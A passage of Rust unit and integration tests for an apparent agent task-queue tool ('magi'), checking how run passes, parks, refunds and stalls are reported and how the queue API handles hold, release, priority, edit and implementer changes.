12244                    at: Timestamp::now(),
12245                    reset: None,
12246                })
12247            })
12248        };
12249        let mut t = flow_task(&[FA, FA]);
12250        t.status = TaskStatus::Queued;
12251        let f = flow_for(&t, &[(FA, Some(quota()))]);
12252        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
12253        assert_eq!(f.nodes[1].note, Some("interrupted"));
12254        assert_eq!(
12255            f.nodes[1].status, None,
12256            "no outcome copied onto an earlier pass"
12257        );
12258        assert_eq!(
12259            f.edges[1].attempt,
12260            AttemptCost::Unknown,
12261            "a resume does not prove the earlier pass was refunded"
12262        );
12263        assert!(f.edges[1].label.contains("resume the same run"));
12264        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
12265        assert_eq!(
12266            f.edges[2].label,
12267            "stalled after a resume, refund unknown \u{2192} queued"
12268        );
12269        assert!(!f.nodes[2].decided, "a stall is not a decision");
12270        assert_eq!(f.nodes[2].note, Some("no verdict"));
12271    }
12272
12273    #[test]
12274    fn flow_single_pass_quota_stall_is_refunded() {
12275        let t = flow_task(&[FA]);
12276        let f = flow_for(
12277            &t,
12278            &[(
12279                FA,
12280                Some(flow_run(RunStatus::Stalled, |s| {
12281                    s.quota.push(crate::run::QuotaLoss {
12282                        seat: "judge-1".to_owned(),
12283                        node: "judge".to_owned(),
12284                        at: Timestamp::now(),
12285                        reset: None,
12286                    })
12287                })),
12288            )],
12289        );
12290        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12291    }
12292
12293    #[test]
12294    fn flow_parked_refunds_and_stall_without_quota_spends() {
12295        let mut t = flow_task(&[FA]);
12296        t.status = TaskStatus::Queued;
12297        let f = flow_for(
12298            &t,
12299            &[(
12300                FA,
12301                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
12302            )],
12303        );
12304        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
12305        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12306        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
12307        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12308        assert!(!f.nodes[1].decided);
12309    }
12310
12311    #[test]
12312    fn flow_keeps_an_unreadable_run_as_its_own_node() {
12313        let t = flow_task(&[FA, FB]);
12314        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
12315        assert_eq!(f.nodes[1].note, Some("unreadable"));
12316        assert!(!f.nodes[1].readable);
12317        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
12318        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
12319    }
12320
12321    #[test]
12322    fn flow_names_the_branch_of_a_review_only_run() {
12323        let t = flow_task(&[FA]);
12324        let f = flow_for(
12325            &t,
12326            &[(
12327                FA,
12328                Some(flow_run(RunStatus::Merged, |s| {
12329                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
12330                })),
12331            )],
12332        );
12333        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
12334        assert_eq!(
12335            f.nodes[1].detail.as_deref(),
12336            Some("review-only run of branch magi/x/A")
12337        );
12338    }
12339
12340    #[test]
12341    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
12342        let mut t = flow_task(&[FA]);
12343        t.status = TaskStatus::Held;
12344        let pr = crate::run::PrRecord {
12345            url: "https://example.test/pr/1".to_owned(),
12346            number: 1,
12347            state: "open".to_owned(),
12348            checks: "green".to_owned(),
12349            round: 0,
12350            rounds: 3,
12351            red_at_merge: Vec::new(),
12352        };
12353        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
12354        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
12355        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
12356        t.status = TaskStatus::Done;
12357        let f = flow_for(&t, &[(FA, Some(blocked))]);
12358        assert_eq!(f.edges[1].label, "closed by hand: task is done");
12359    }
12360
12361    #[test]
12362    fn flow_with_no_runs_goes_from_queued_to_queued() {
12363        let t = flow_task(&[]);
12364        let f = flow_for(&t, &[]);
12365        assert_eq!(f.nodes.len(), 2);
12366        assert_eq!(f.edges.len(), 1);
12367        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
12368        assert_eq!(f.edges[0].attempt, AttemptCost::None);
12369    }
12370
12371    /// A run parked mid-flight keeps a non-terminal status; the page must
12372    /// still say why it stopped and that the attempt came back.
12373    #[test]
12374    fn a_parked_non_terminal_run_is_explained_as_parked() {
12375        let mut s = RunState::new(
12376            PathBuf::from("/repo/magi"),
12377            "main".to_owned(),
12378            "0123456789abcdef".to_owned(),
12379            "Do it".to_owned(),
12380            Config::default(),
12381        );
12382        s.status = RunStatus::Implementing;
12383        s.parked = true;
12384        let task = Task::new(
12385            "t".to_owned(),
12386            "Do it".to_owned(),
12387            PathBuf::from("/repo/magi"),
12388            Source::Human,
12389        );
12390        let v = task_run_view(
12391            "20260902-140501-aaaa",
12392            Some(&s),
12393            RunSlot {
12394                n: 1,
12395                resumed: false,
12396                resumed_later: None,
12397                prior: None,
12398                last: true,
12399                ..RunSlot::default()
12400            },
12401            &task,
12402        );
12403        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
12404    }
12405
12406    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
12407        let mut s = flow_run(RunStatus::Implementing, edit);
12408        s.parked = false;
12409        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
12410        task_run_view(
12411            "20260902-140501-aaaa",
12412            Some(&s),
12413            RunSlot {
12414                n: 1,
12415                resumed: false,
12416                resumed_later: Some(2),
12417                prior: None,
12418                last: false,
12419                ..RunSlot::default()
12420            },
12421            &task,
12422        )
12423    }
12424
12425    #[test]
12426    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
12427        let v = earlier_pass_view(|_| {});
12428        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
12429        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12430        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
12431        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
12432        assert_eq!(v.exit, RunExit::Interrupted);
12433        assert_eq!(v.attempt, AttemptCost::Unknown);
12434    }
12435
12436    #[test]
12437    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
12438        let v = earlier_pass_view(|s| {
12439            s.quota.push(crate::run::QuotaLoss {
12440                seat: "judge-1".to_owned(),
12441                node: "judge".to_owned(),
12442                at: Timestamp::now(),
12443                reset: None,
12444            });
12445        });
12446        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
12447        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12448        assert_eq!(v.attempt, AttemptCost::Unknown);
12449    }
12450
12451    #[test]
12452    fn the_current_pass_states_its_recorded_cause_and_cost() {
12453        let slot = || RunSlot {
12454            n: 1,
12455            resumed: false,
12456            resumed_later: None,
12457            prior: None,
12458            last: true,
12459            ..RunSlot::default()
12460        };
12461        let task = flow_task(&["20260902-140501-aaaa"]);
12462        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
12463        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
12464        assert_eq!(
12465            (v.exit, v.attempt),
12466            (RunExit::Parked, AttemptCost::Refunded)
12467        );
12468        let spent = flow_run(RunStatus::Blocked, |_| {});
12469        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
12470        assert_eq!(v.attempt, AttemptCost::Spent);
12471        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
12472    }
12473
12474    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
12475        crate::run::RunPass {
12476            index,
12477            started_at: Timestamp::now(),
12478            resumed: index > 0,
12479            ended_at: end.as_ref().map(|_| Timestamp::now()),
12480            end,
12481            task_entry: true,
12482        }
12483    }
12484
12485    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
12486        Some(crate::run::PassEnd::Parked { cause })
12487    }
12488
12489    fn upgrade_cause() -> crate::run::ParkCause {
12490        crate::run::ParkCause::Upgrade {
12491            from: "0.121.0".to_owned(),
12492            to: Some("0.121.1".to_owned()),
12493        }
12494    }
12495
12496    fn settled_pass(
12497        run: &str,
12498        index: usize,
12499        cost: crate::queue::PassCost,
12500    ) -> crate::queue::TaskPass {
12501        crate::queue::TaskPass {
12502            run: run.to_owned(),
12503            pass_index: index,
12504            cost,
12505            attempts_after: 1,
12506            settled_at: Timestamp::now(),
12507            parked: None,
12508        }
12509    }
12510
12511    const RUN_X: &str = "20261011-223708-4334";
12512
12513    #[test]
12514    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
12515        use crate::queue::PassCost;
12516        let run = flow_run(RunStatus::Implementing, |s| {
12517            s.passes = vec![
12518                recorded_pass(0, parked(upgrade_cause())),
12519                recorded_pass(1, None),
12520            ];
12521        });
12522        let mut task = flow_task(&[RUN_X, RUN_X]);
12523        task.attempts = 1;
12524        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12525        let h = task_history(&task, |_| Some(run.clone()));
12526        assert_eq!(h.len(), 2);
12527        assert_eq!(h[0].kind, "competition");
12528        assert_eq!(h[1].kind, "resume");
12529        assert_eq!(
12530            (h[0].exit, h[0].attempt),
12531            (RunExit::Parked, AttemptCost::Refunded)
12532        );
12533        assert!(
12534            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
12535            "{}",
12536            h[0].outcome
12537        );
12538        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
12539        assert!(
12540            h[0].outcome.contains("pass #2 resumed the same run"),
12541            "{}",
12542            h[0].outcome
12543        );
12544        assert!(
12545            h[0].outcome.contains("pass 1 of 2 over run"),
12546            "{}",
12547            h[0].outcome
12548        );
12549        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12550        assert_eq!(
12551            h[0].exit_label,
12552            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
12553        );
12554        let f = task_flow(&task, &h, 2, None);
12555        // Two passes of one run, one of two attempts consumed.
12556        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
12557        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12558        assert!(
12559            f.edges[1].label.contains("upgrade 0.121.0"),
12560            "{}",
12561            f.edges[1].label
12562        );
12563        assert!(
12564            f.edges[1].label.contains("resume the same run"),
12565            "{}",
12566            f.edges[1].label
12567        );
12568        assert_eq!(f.nodes[1].note, Some("parked"));
12569    }
12570
12571    #[test]
12572    fn an_upgrade_whose_target_was_not_known_says_so() {
12573        let run = flow_run(RunStatus::Implementing, |s| {
12574            s.passes = vec![
12575                recorded_pass(
12576                    0,
12577                    parked(crate::run::ParkCause::Upgrade {
12578                        from: "0.121.0".to_owned(),
12579                        to: None,
12580                    }),
12581                ),
12582                recorded_pass(1, None),
12583            ];
12584        });
12585        let task = flow_task(&[RUN_X, RUN_X]);
12586        let h = task_history(&task, |_| Some(run.clone()));
12587        assert!(
12588            h[0].outcome.contains("upgrade from 0.121.0"),
12589            "{}",
12590            h[0].outcome
12591        );
12592        // No settle record: the refund is not claimed.
12593        assert_eq!(h[0].attempt, AttemptCost::Unknown);
12594    }
12595
12596    #[test]
12597    fn each_pass_keeps_its_own_cause_across_several_resumes() {
12598        use crate::queue::PassCost;
12599        use crate::run::ParkCause;
12600        let run = flow_run(RunStatus::Implementing, |s| {
12601            s.passes = vec![
12602                recorded_pass(0, parked(upgrade_cause())),
12603                recorded_pass(
12604                    1,
12605                    parked(ParkCause::Interrupt {
12606                        reason: "task a1b2 asked to run first".to_owned(),
12607                    }),
12608                ),
12609                recorded_pass(2, parked(ParkCause::Operator)),
12610                recorded_pass(3, None),
12611            ];
12612        });
12613        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
12614        task.attempts = 1;
12615        task.passes = (0..3)
12616            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
12617            .collect();
12618        let h = task_history(&task, |_| Some(run.clone()));
12619        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
12620        assert!(
12621            h[1].outcome.contains("task a1b2 asked to run first"),
12622            "{}",
12623            h[1].outcome
12624        );
12625        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
12626        assert!(
12627            h[2].outcome.contains("operator asked the loop to park"),
12628            "{}",
12629            h[2].outcome
12630        );
12631        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
12632        let f = task_flow(&task, &h, 2, None);
12633        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
12634    }
12635
12636    #[test]
12637    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
12638        let run = flow_run(RunStatus::Implementing, |s| {
12639            s.passes = vec![
12640                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
12641                recorded_pass(1, None),
12642            ];
12643        });
12644        let task = flow_task(&[RUN_X, RUN_X]);
12645        let h = task_history(&task, |_| Some(run.clone()));
12646        assert_eq!(h[0].exit, RunExit::Interrupted);
12647        assert_eq!(h[0].attempt, AttemptCost::Unknown);
12648        assert!(
12649            h[0].outcome.contains("without recording why"),
12650            "{}",
12651            h[0].outcome
12652        );
12653        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12654        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
12655    }
12656
12657    #[test]
12658    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
12659        use crate::queue::PassCost;
12660        // Three entries, but the run only began keeping passes at the last
12661        // two: the first is legacy and must not be given a cause.
12662        let run = flow_run(RunStatus::Implementing, |s| {
12663            s.passes = vec![
12664                recorded_pass(0, parked(upgrade_cause())),
12665                recorded_pass(1, None),
12666            ];
12667        });
12668        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
12669        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12670        let h = task_history(&task, |_| Some(run.clone()));
12671        assert!(h[0].pass.is_none());
12672        assert_eq!(h[0].exit, RunExit::Interrupted);
12673        assert_eq!(h[0].attempt, AttemptCost::Unknown);
12674        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12675        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12676        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
12677        // A run with no passes at all is entirely unknown.
12678        let legacy = flow_run(RunStatus::Implementing, |_| {});
12679        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
12680        assert!(h.iter().all(|v| v.pass.is_none()));
12681        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12682    }
12683
12684    #[test]
12685    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
12686        use crate::queue::PassCost;
12687        // Pass 1 is a web-button resume: a pass of the run, no entry of the
12688        // task. The two entries are passes 0 and 2.
12689        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
12690        web.task_entry = false;
12691        let run = flow_run(RunStatus::Implementing, |s| {
12692            s.passes = vec![
12693                recorded_pass(0, parked(upgrade_cause())),
12694                web.clone(),
12695                recorded_pass(2, None),
12696            ];
12697        });
12698        let mut task = flow_task(&[RUN_X, RUN_X]);
12699        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12700        let h = task_history(&task, |_| Some(run.clone()));
12701        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
12702        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
12703
12704        // Legacy first entry, then a web resume that parked for an upgrade,
12705        // then the daemon's pass: the legacy entry must stay unknown.
12706        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
12707        web0.task_entry = false;
12708        let run = flow_run(RunStatus::Implementing, |s| {
12709            s.passes = vec![web0.clone(), recorded_pass(1, None)];
12710        });
12711        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
12712        assert!(h[0].pass.is_none());
12713        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12714        assert!(h[1].pass.is_some());
12715    }
12716
12717    #[tokio::test]
12718    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
12719        let f = Fixture::start().await;
12720        let queue = f.queue();
12721        let mut task = Task::new(
12722            "spent".to_owned(),
12723            "Try again".to_owned(),
12724            PathBuf::from("/repo/magi"),
12725            Source::Human,
12726        );
12727        task.start("20260902-140502-bbbb".to_owned());
12728        task.fail("agent gave up", 9);
12729        queue.put(&mut task).expect("file the task");
12730
12731        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12732        assert_eq!(held.status, 200);
12733        assert_eq!(held.json()["status_str"], "held");
12734
12735        let released = f
12736            .post(&format!("/api/queue/{}/release", task.id), None)
12737            .await;
12738        assert_eq!(released.status, 200);
12739        assert_eq!(released.json()["status_str"], "queued");
12740        assert_eq!(
12741            released.json()["attempts"],
12742            0,
12743            "release is a real second chance, not an instant re-hold"
12744        );
12745        assert_eq!(
12746            queue.get(&task.id).expect("reload").status,
12747            TaskStatus::Queued,
12748            "the change is on disk, not only in the reply"
12749        );
12750        assert!(
12751            !f.home
12752                .path()
12753                .join("queue")
12754                .join(format!("{}.lock", task.id))
12755                .exists(),
12756            "the claim the mutation took is released again"
12757        );
12758    }
12759
12760    #[tokio::test]
12761    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
12762        let f = Fixture::start().await;
12763        let queue = f.queue();
12764        let mut task = Task::new(
12765            "busy".to_owned(),
12766            "Running right now".to_owned(),
12767            PathBuf::from("/repo/magi"),
12768            Source::Human,
12769        );
12770        queue.put(&mut task).expect("file the task");
12771        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12772
12773        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12774
12775        assert_eq!(res.status, 409);
12776        assert_eq!(
12777            queue.get(&task.id).expect("reload").status,
12778            TaskStatus::Queued,
12779            "the refused hold changed nothing"
12780        );
12781    }
12782
12783    #[tokio::test]
12784    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
12785        let f = Fixture::start().await;
12786        let queue = f.queue();
12787        let mut task = Task::new(
12788            "waiting on the migration".to_owned(),
12789            "Do the thing".to_owned(),
12790            PathBuf::from("/repo/magi"),
12791            Source::Human,
12792        );
12793        queue.put(&mut task).expect("file the task");
12794
12795        let held = f
12796            .post(
12797                &format!("/api/queue/{}/hold", task.id),
12798                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
12799            )
12800            .await;
12801        assert_eq!(held.status, 200, "{}", held.body);
12802        assert_eq!(held.json()["status_str"], "held");
12803        assert_eq!(
12804            held.json()["hold_reason"],
12805            "waiting for 20260101-000000-aaaa to land"
12806        );
12807
12808        let listed = f.get("/api/queue").await.json();
12809        assert_eq!(
12810            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
12811            "the card reads the reason off the same list route"
12812        );
12813
12814        // A hold with no body at all must keep working - most holds have no
12815        // reason to give.
12816        let mut plain = Task::new(
12817            "no reason given".to_owned(),
12818            "Do another thing".to_owned(),
12819            PathBuf::from("/repo/magi"),
12820            Source::Human,
12821        );
12822        queue.put(&mut plain).expect("file the task");
12823        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
12824        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
12825        assert!(held_plain.json()["hold_reason"].is_null());
12826
12827        let released = f
12828            .post(&format!("/api/queue/{}/release", task.id), None)
12829            .await;
12830        assert_eq!(released.status, 200);
12831        assert!(
12832            released.json()["hold_reason"].is_null(),
12833            "a release must clear the reason so the next hold does not inherit it"
12834        );
12835    }
12836
12837    #[tokio::test]
12838    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
12839        let f = Fixture::start().await;
12840        let queue = f.queue();
12841        let mut older = Task::new(
12842            "filed first".to_owned(),
12843            "x".to_owned(),
12844            PathBuf::from("/repo/magi"),
12845            Source::Human,
12846        );
12847        older.id = "20260101-000001-aaaa".to_owned();
12848        let mut newer = Task::new(
12849            "filed second".to_owned(),
12850            "x".to_owned(),
12851            PathBuf::from("/repo/magi"),
12852            Source::Human,
12853        );
12854        newer.id = "20260101-000002-bbbb".to_owned();
12855        queue.put(&mut older).expect("file older");
12856        queue.put(&mut newer).expect("file newer");
12857
12858        // Equal priority: the newer task leads, the same order the old
12859        // newest-first `list()` already gave every equal-priority queue.
12860        let before = f.get("/api/queue").await.json();
12861        assert_eq!(before[0]["id"], newer.id);
12862        assert_eq!(before[1]["id"], older.id);
12863
12864        // Raising the *older* task is the meaningful case: it can only lead
12865        // now because its priority says so, not because it happens to be
12866        // newest.
12867        let raised = f
12868            .post(
12869                &format!("/api/queue/{}/priority", older.id),
12870                Some(r#"{"priority":10}"#),
12871            )
12872            .await;
12873        assert_eq!(raised.status, 200, "{}", raised.body);
12874        assert_eq!(raised.json()["priority"], 10);
12875
12876        let after = f.get("/api/queue").await.json();
12877        let names: Vec<&str> = after
12878            .as_array()
12879            .unwrap()
12880            .iter()
12881            .map(|t| t["id"].as_str().unwrap())
12882            .collect();
12883        // Highest priority first, which is the order next_runnable and
12884        // `magi task list` both use - GET /api/queue must agree with it
12885        // immediately, not just once the loop claims the task.
12886        assert_eq!(names[0], older.id, "the raised task now sorts first");
12887    }
12888
12889    #[tokio::test]
12890    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
12891        let dir = TempDir::new().unwrap();
12892        let repo = dir.path().join("repo");
12893        std::fs::create_dir(&repo).unwrap();
12894        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
12895        let q = Queue::at(dir.path().join("queue"));
12896        let ui = Arc::new(Ui::new(
12897            q.clone(),
12898            Questions::at(dir.path().join("questions")),
12899            Talks::at(dir.path().join("talks")),
12900            dir.path().join("runs"),
12901            dir.path().to_path_buf(),
12902            repo.clone(),
12903        ));
12904        let mut t = Task::new(
12905            "seats".into(),
12906            "keep instruction".into(),
12907            repo,
12908            Source::Human,
12909        );
12910        t.runs.push("prior-run".into());
12911        t.hold_manual(Some("waiting".into()));
12912        q.put(&mut t).unwrap();
12913        let change = |count| {
12914            queue_implementers(
12915                State(ui.clone()),
12916                Path(t.id.clone()),
12917                Ok(Json(ImplementersBody {
12918                    implementers: count,
12919                })),
12920            )
12921        };
12922        for count in [2, 1, 2] {
12923            let response = change(count).await.unwrap();
12924            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
12925            let saved = q.get(&t.id).unwrap();
12926            assert_eq!(saved.implementers(), Some(usize::from(count)));
12927            assert_eq!(saved.runs, t.runs);
12928            assert_eq!(saved.instruction, t.instruction);
12929        }
12930        for count in [0, 4] {
12931            assert_eq!(
12932                change(count).await.err().unwrap().status,
12933                StatusCode::BAD_REQUEST
12934            );
12935        }
12936        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
12937        let claim = q.claim(&t.id).unwrap();
12938        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
12939        drop(claim);
12940        for status in [
12941            TaskStatus::Running,
12942            TaskStatus::Done,
12943            TaskStatus::Failed,
12944            TaskStatus::Blocked,
12945            TaskStatus::Parked,
12946        ] {
12947            let mut stored = q.get(&t.id).unwrap();
12948            stored.status = status;
12949            q.put(&mut stored).unwrap();
12950            assert_eq!(
12951                change(1).await.err().unwrap().status,
12952                StatusCode::BAD_REQUEST
12953            );
12954            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
12955        }
12956    }
12957
12958    #[tokio::test]
12959    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
12960        let f = Fixture::start().await;
12961        let queue = f.queue();
12962        let mut task = Task::new(
12963            "in flight".to_owned(),
12964            "x".to_owned(),
12965            PathBuf::from("/repo/magi"),
12966            Source::Human,
12967        );
12968        task.start("20260902-140502-bbbb".to_owned());
12969        queue.put(&mut task).expect("file the task");
12970
12971        let res = f
12972            .post(
12973                &format!("/api/queue/{}/priority", task.id),
12974                Some(r#"{"priority":9}"#),
12975            )
12976            .await;
12977        assert_eq!(res.status, 400, "{}", res.body);
12978        assert!(
12979            res.json()["error"]
12980                .as_str()
12981                .is_some_and(|e| e.contains("running")),
12982            "{}",
12983            res.body
12984        );
12985        assert_eq!(
12986            queue.get(&task.id).expect("reload").priority,
12987            0,
12988            "the refused write must not partially apply"
12989        );
12990    }
12991
12992    #[tokio::test]
12993    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
12994        let f = Fixture::start().await;
12995        let queue = f.queue();
12996        let mut task = Task::new(
12997            "old title".to_owned(),
12998            "old instruction".to_owned(),
12999            PathBuf::from("/repo/magi"),
13000            Source::Agent {
13001                run: "20260101-000000-beef".to_owned(),
13002                node: "implement".to_owned(),
13003            },
13004        );
13005        task.runs.push("20260101-000000-beef".to_owned());
13006        queue.put(&mut task).expect("file the task");
13007        let created_at = task.created_at;
13008
13009        let edited = f
13010            .post(
13011                &format!("/api/queue/{}/edit", task.id),
13012                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
13013            )
13014            .await;
13015        assert_eq!(edited.status, 200, "{}", edited.body);
13016        let body = edited.json();
13017        assert_eq!(body["title"], "new title");
13018        assert_eq!(body["instruction"], "new instruction");
13019        assert_eq!(body["id"], task.id, "editing must not mint a new id");
13020        assert_eq!(body["created_at"], created_at.to_string());
13021        assert_eq!(
13022            body["source"]["kind"], "agent",
13023            "editing a task an agent filed must not turn it human: {body}"
13024        );
13025        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
13026
13027        let reloaded = queue.get(&task.id).expect("reload");
13028        assert_eq!(reloaded.title, "new title");
13029        assert_eq!(reloaded.instruction, "new instruction");
13030    }
13031
13032    #[tokio::test]
13033    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
13034        // The judge is an agent now: a repo whose only agent answers
13035        // "duplicate" stands in for it, so the refusal is the judge's.
13036        let tmp = TempDir::new().expect("tempdir");
13037        let repo = tmp.path().join("repo");
13038        std::fs::create_dir_all(&repo).expect("repo dir");
13039        let judge = MOCK_AGENT_TOML.replace(
13040            "printf ok",
13041            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
13042        );
13043        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
13044        let f = Fixture::with_repo(repo.clone()).await;
13045        let queue = f.queue();
13046        let mut owner = Task::new(
13047            "owner".to_owned(),
13048            "review it".to_owned(),
13049            repo.clone(),
13050            Source::Human,
13051        );
13052        owner.review_branch = Some("magi/ab12/A".to_owned());
13053        queue.put(&mut owner).expect("file the owner");
13054        let mut task = Task::new(
13055            "draft".to_owned(),
13056            "old".to_owned(),
13057            repo.clone(),
13058            Source::Human,
13059        );
13060        queue.put(&mut task).expect("file the draft");
13061        let url = format!("/api/queue/{}/edit", task.id);
13062
13063        let refused = f
13064            .post(
13065                &url,
13066                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
13067            )
13068            .await;
13069        assert_eq!(refused.status, 409, "{}", refused.body);
13070        let msg = refused.json()["error"]
13071            .as_str()
13072            .unwrap_or_default()
13073            .to_owned();
13074        assert!(
13075            msg.contains("magi/ab12/A") && msg.contains("force"),
13076            "{msg}"
13077        );
13078        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
13079
13080        let forced = f
13081            .post(
13082                &url,
13083                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
13084            )
13085            .await;
13086        assert_eq!(forced.status, 200, "{}", forced.body);
13087    }
13088
13089    #[tokio::test]
13090    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
13091        let f = Fixture::start().await;
13092        let queue = f.queue();
13093        let mut task = Task::new(
13094            "in flight".to_owned(),
13095            "do not touch".to_owned(),
13096            PathBuf::from("/repo/magi"),
13097            Source::Human,
13098        );
13099        task.start("20260902-140502-bbbb".to_owned());
13100        queue.put(&mut task).expect("file the task");
13101
13102        let res = f
13103            .post(
13104                &format!("/api/queue/{}/edit", task.id),
13105                Some(r#"{"title":"x","instruction":"y"}"#),
13106            )
13107            .await;
13108        assert_eq!(res.status, 400, "{}", res.body);
13109        assert!(
13110            res.json()["error"]
13111                .as_str()
13112                .is_some_and(|e| e.contains("running")),
13113            "{}",
13114            res.body
13115        );
13116        assert_eq!(
13117            queue.get(&task.id).expect("reload").instruction,
13118            "do not touch",
13119            "the refused edit must not change the file"
13120        );
13121    }
13122
13123    #[tokio::test]
13124    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
13125        let f = Fixture::start().await;
13126        let queue = f.queue();
13127        let mut task = Task::new(
13128            "busy".to_owned(),
13129            "Running right now".to_owned(),
13130            PathBuf::from("/repo/magi"),
13131            Source::Human,
13132        );
13133        queue.put(&mut task).expect("file the task");
13134        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
13135
13136        let priority = f
13137            .post(
13138                &format!("/api/queue/{}/priority", task.id),
13139                Some(r#"{"priority":9}"#),
13140            )
13141            .await;
13142        assert_eq!(priority.status, 409, "{}", priority.body);
13143
13144        let edit = f
13145            .post(
13146                &format!("/api/queue/{}/edit", task.id),
13147                Some(r#"{"title":"x","instruction":"y"}"#),
13148            )
13149            .await;
13150        assert_eq!(edit.status, 409, "{}", edit.body);
13151    }
13152
13153    #[tokio::test]
13154    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
